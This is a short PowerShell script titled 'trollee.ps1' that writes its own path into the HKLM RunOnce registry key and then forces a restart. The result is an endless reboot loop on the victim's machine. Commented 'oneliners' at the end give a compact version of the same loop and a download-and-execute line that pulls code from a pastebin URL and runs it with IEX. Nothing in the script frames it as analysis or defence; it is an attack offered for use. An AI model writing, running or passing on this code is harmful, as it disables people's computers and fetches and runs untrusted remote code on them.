trollee.ps1

$ScriptPath = $MyInvocation.MyCommand.Definition
$ScriptExecPath = "C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe -File "
$ScriptFullExecPath = $ScriptExecPath + $ScriptPath
Set-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" "NextRun" $ScriptFullExecPath
Restart-Computer

#oneliners

#powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/1C9zQrU3')"

#Set-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" "NextRun" "C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe -File $($MyInvocation.MyCommand.Definition)";Restart-Computer